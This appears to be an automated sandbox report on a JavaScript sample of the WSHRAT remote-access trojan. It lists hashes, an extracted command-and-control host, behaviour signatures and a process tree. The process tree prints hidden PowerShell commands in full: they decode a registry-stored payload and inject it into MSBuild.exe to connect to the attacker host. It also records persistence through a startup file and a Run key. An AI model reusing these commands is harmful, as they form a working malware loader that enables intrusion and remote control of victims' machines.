Analysis

  • max time kernel
    148s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    15-05-2024 02:49

General

  • Target

    cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js

  • Size

    616KB

  • MD5

    70a617fd2bdb08c64a65ecfba1612140

  • SHA1

    d41eec4cb2f449b845d3f4fa3baf80086705bba6

  • SHA256

    cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc

  • SHA512

    52c22c0b1d8b8e1b69224e4164fb75d0b07b7b1f8fb6b9b843218f0c01cae0279fe45cecbb538b021ddb7e57c723917ae2f34186881db210c8b4953b7a2b0961

  • SSDEEP

    12288:NYeIrWr/qRigAyX/kngXFbjTLvaH28nZH19Iimg0VtxWvTbxzOObcizI/mofdEMa:NYeIrWr/qRigAyX/kngXFbjTLvaH28nZ

Malware Config

Extracted

Family

wshrat

C2

http://masterokrwh.duckdns.org:8426

Signatures

  • WSHRAT

    WSHRAT is a variant of Houdini worm and has vbs and js variants.

  • Blocklisted process makes network request 33 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 30 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js
    1⤵
    • Blocklisted process makes network request
    • Drops startup file
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:2952
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2908
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'test').test;$Abt = [Convert]::FromBase64String($Cli444);$inputz = New-Object System.IO.MemoryStream( , $Abt );[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream;$gzipStream = New-Object System.IO.Compression.GzipStream $inputz, ([IO.Compression.CompressionMode]::Decompress);$buffer = New-Object byte[](1024);while($true){$read = $gzipStream.Read($buffer, 0, 1024);if ($read -le 0){break;}$output.Write($buffer, 0, $read);};$gzipStream.Close();$inputz.Close();$Out = $output.ToArray();$output.Close();$Out = [Convert]::ToBase64String($Out);new-itemproperty -path 'HKCU:\SOFTWARE\Microsoft' -name 'test' -value $Out -propertytype string -force | out-null;"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -Command "$Cli444 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mPluginC').mPluginC;$Cli555 = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'mRunPE').mRunPE;$Abt = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($Cli555)).GetType('k.k.Hackitup').GetMethod('exe').Invoke($null,[object[]] ('MSBuild.exe',[Convert]::FromBase64String($Cli444),'masterokrwh.duckdns.org 8426 \"WSHRAT|08193A6E|QGTQZTRE|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 15/5/2024|JavaScript-v3.4|GB:United Kingdom\" 1'));"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2520
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
        path masterokrwh.duckdns.org 8426 "WSHRAT|08193A6E|QGTQZTRE|Admin|Microsoft Windows 7 Ultimate |plus|nan-av|false - 15/5/2024|JavaScript-v3.4|GB:United Kingdom" 1
        3⤵
        • Suspicious use of SetWindowsHookEx
        PID:2764

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    00c022e9d13bcb7f4f51a78ff8a600ca

    SHA1

    d859153c5430341ba7ce706e8b9fc9732c904a24

    SHA256

    d5137c69b8951c47d4fbb03dffced16d2f68aef100fc5265799ae952c9d297a0

    SHA512

    6a18d9502d7f60e47f962a7e42b87ba3aa2e695e570f532f9b42e5e98cce747dfb7afe15df955075c5ce6ca969bb4c580538722778be7ddad1415501127553cf

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc.js

    Filesize

    616KB

    MD5

    70a617fd2bdb08c64a65ecfba1612140

    SHA1

    d41eec4cb2f449b845d3f4fa3baf80086705bba6

    SHA256

    cc10da7e2a5c074cc559ed0f19a4880ae171a44b0039a5d3caadfd326db714fc

    SHA512

    52c22c0b1d8b8e1b69224e4164fb75d0b07b7b1f8fb6b9b843218f0c01cae0279fe45cecbb538b021ddb7e57c723917ae2f34186881db210c8b4953b7a2b0961

  • memory/2520-44-0x000000001B550000-0x000000001B55A000-memory.dmp

    Filesize

    40KB

  • memory/2764-49-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-51-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-53-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-55-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

    Filesize

    4KB

  • memory/2764-57-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-58-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-56-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-47-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2764-45-0x0000000000400000-0x000000000040E000-memory.dmp

    Filesize

    56KB

  • memory/2896-38-0x0000000002860000-0x0000000002868000-memory.dmp

    Filesize

    32KB

  • memory/2896-37-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

    Filesize

    2.9MB

  • memory/2908-23-0x000007FEF591E000-0x000007FEF591F000-memory.dmp

    Filesize

    4KB

  • memory/2908-31-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2908-30-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2908-29-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2908-28-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2908-27-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

    Filesize

    9.6MB

  • memory/2908-24-0x000000001B6A0000-0x000000001B982000-memory.dmp

    Filesize

    2.9MB

  • memory/2908-25-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

    Filesize

    32KB

  • memory/2908-26-0x000007FEF5660000-0x000007FEF5FFD000-memory.dmp

    Filesize

    9.6MB